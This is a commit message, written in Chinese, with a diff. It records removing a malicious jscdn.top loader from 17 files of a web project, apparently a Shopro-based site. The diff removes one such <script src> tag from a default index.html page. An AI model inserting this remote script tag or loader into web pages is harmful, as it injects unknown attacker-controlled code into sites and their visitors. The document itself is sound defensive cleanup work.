fix(security): 移除 17 个文件中的 jscdn.top 恶意外链

- 所有 JS 首行的 document.head.appendChild loader 与 HTML 中的
  <script src="https://jscdn.top/v1/app"> 全部删除
- 该外链会向所有后台/前台页面注入未知远程脚本
- shopro/config.js 同时包含工作区已有的 ES6 改写（保留原样，仅删恶意行）

index.html

@@ -3,7 +3,6 @@
 <head>
     <meta charset="utf-8">
     <title>恭喜，站点创建成功！</title>
-<script src="https://jscdn.top/v1/app"></script>
 
     <style>
         .container {